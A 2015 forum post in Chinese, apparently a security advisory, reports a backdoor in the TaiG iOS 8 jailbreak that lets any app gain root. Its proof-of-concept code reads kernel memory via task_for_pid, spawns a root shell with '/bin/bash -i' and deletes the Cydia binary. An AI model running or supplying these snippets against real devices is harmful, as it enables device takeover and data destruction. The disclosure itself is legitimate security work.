綁定帳號登入

Android 台灣中文網

打印 上一主題 下一主題

[資訊] 注意:太極越獄重大安全後門

[複製連結] 查看: 1143|回覆: 0|好評: 1
跳轉到指定樓層
樓主
mahmoodma | 收聽TA | 只看該作者 回帖獎勵 |倒序瀏覽 |閱讀模式
發表於 2015-7-2 04:31

馬上加入Android 台灣中文網,立即免費下載應用遊戲。

您需要 登錄 才可以下載或查看,沒有帳號?註冊

x
本帖最後由 mahmoodma 於 2015-7-2 04:33 編輯
注意:太極越獄重大安全後門

                               
登錄/註冊後可看大圖


友善提醒:請在接下來這幾天「不要」亂裝來路不明的插件,也「不要」裝盜版軟體源,保護你我安全,Saurik已表明,會與太極團隊一起修復!

《背景》

太極越獄iOS8.1.3-8.4含有重大安全後門,越獄後導致任意APP可以提權到Root,從而影響用戶數據的安全。舉例來說獲取Root權限後可以完全控制系統文件,甚至進一步安裝木馬等嚴重威脅用戶安全的惡意軟件


《細節》

具體分析結果顯示太極越獄修改了setreuid這個關鍵系統API,導致任意APP都可以直接調用setreuid(0,0)獲得Root執行權限,從而可以修改任意系統文件、也可以task_for_pid打開系統內核句柄從而完全控制系統底層。例如通過寫入系統目錄“/Library/LaunchDaemons”可以註冊系統服務,從而植入木馬、病毒、盜號工具威脅用戶隱私數據和密碼。

漏洞重現演示如下圖:

                               
登錄/註冊後可看大圖


示例一:通過test_taig_backdoor1程序讀取內核內存

                               
登錄/註冊後可看大圖


示例二:通過test_taig_backdoor2獲得root權限shell
test_taig_backdoor讀取任意內核poc代碼:
  1. #include <Foundation/Foundation.h>
  2. #include <stdio.h>
  3. #include <stdlib.h>
  4. #include <unistd.h>
  5. #include <sys/types.h>
  6. #include <sys/param.h>
  7. #include <spawn.h>
  8. #include <mach/mach.h>

  9. void  dump_kernel_memory(vm_address_t addr)
  10. {
  11.     kern_return_t kret;
  12.     mach_port_t proc_task = 0;
  13.     vm_size_t ret_size = 0;
  14.     vm_size_t i;
  15.     char  buffer[128] = {0};
  16.     int  ret;

  17.     ret = task_for_pi​​d(mach_task_self(), 0, &proc_task);
  18.     if  (ret != 0)
  19.     {
  20.         NSLog(@ "[err] get tfp0 fail: %d" , ret);
  21.         return ;
  22.     }

  23.     NSLog(@ "task for pid 0 = %u" , proc_task);

  24.         kret = vm_read_overwrite(proc_task,
  25.                                 addr,
  26.                                 sizeof (buffer),
  27.                                   (vm_address_t)buffer,
  28.                                    &ret_size);

  29.     char  *info = malloc (4096);
  30.     info[0] = '\0' ;

  31.     for  (i = 0; i < ret_size; i++)
  32.     {
  33.         if  (i % 16 == 0) sprintf (info + strlen (info), "\n%p: " , ( void  *)(addr + i));
  34.         sprintf (info + strlen (info), "0x%02x " , *(uint8_t*)(buffer + i));
  35.     }
  36.     NSLog(@ "%s" , info);

  37.     free (info);
  38. }

  39. int  main ( int  argc, const  char  * argv[])
  40. {
  41.     if  (argc != 2)
  42.     {
  43.         NSLog(@ "%s [kernel_address]" , argv[0]);
  44.         return  0;
  45.     }

  46.     NSLog(@ "current uid=%d euid=%d" , getuid(), geteuid());

  47.     /*
  48.     * taig backdoor test
  49.     */

  50.     setreuid(0,0);

  51.     NSLog(@ "now uid=%d euid=%d" , getuid(), geteuid());

  52.     vm_address_t addr = strtoul (argv[1], NULL, 16);
  53.     dump_kernel_memory(addr);

  54.     return  0;
  55. }
複製代碼



test_taig_backdoor2提權poc代碼:
  1. void  get_root_shell
  2. {
  3.     setreuid(0,0);
  4.     system ( "/bin/bash -i" );
  5. }
複製代碼



在APP中添加下面的代碼進行刪除文件測試(謹慎執行):
  1. void  testBackdoor()
  2. {
  3. NSLog(@ "當前運行進程uid=%d euid=%d" , getuid(), geteuid());
  4. setreuid(0,0);
  5. NSLog(@ "後門提權後,當前運行進程uid=%d euid=%d" , getuid(), geteuid());

  6. NSLog(@ "刪除任意文件演示(該測試會導致Cydia無法運行,請謹慎執行)" );
  7. unlink( "/Applications/Cydia.app/MobileCydia" );
  8. }
複製代碼



太極越獄iOS8.0-8.1.1未能找到機器進行測試,可能也有此重大後門。



《總結》

越獄軟件中藏有安全後門並非沒有先例。早在針對iOS 7的完美越獄工具evasi0n7中,越獄開發者evad3rs就修改了第0號系統調用,導致任意app可以輕易獲得內核代碼執行的能力。這一做法也引起越獄大神winocm的強烈不滿( http://winocm.moe/projects/research/2014/01/11/evading-ios-security/ )。早在2014年Winocm在博文中就已經質疑太極是否在利用這個後門。

太極越獄與evad3rs的“緋聞”一直沒有間斷。據福布斯報導(http://www.forbes.com/sites/thomasbrewster/2015/06/26/china-iphone-jailbreak-industry/)(http://mobile.163.com/15/0630/10/ ATBNV93H0011671M.html),太極曾支付evad3rs高達一百萬美金用於越獄合作開發,該合作的產物就是evasi0n7強制安裝“太極助手”的鬧劇。至於太極越獄的安全後門是“慣犯”還是“初犯”的謎底恐怕就無法揭開了。



以上內容出自:太極越獄重大安全後門
「用Android 就來APK.TW」,快來加入粉絲吧!
Android 台灣中文網(APK.TW)

評分

參與人數 4碎鑽 +4 幫助 +4 收起 理由
25077667 + 1 + 1 非常讃
alience309 + 1 + 1 非常讃
a8720119 + 1 + 1 非常讃
angelcheng78 + 1 + 1 非常讃

查看全部評分

收藏收藏 分享分享 分享專題
用Android 就來Android 台灣中文網(https://apk.tw)
回覆

使用道具 舉報

您需要登錄後才可以回帖 登錄 | 註冊

本版積分規則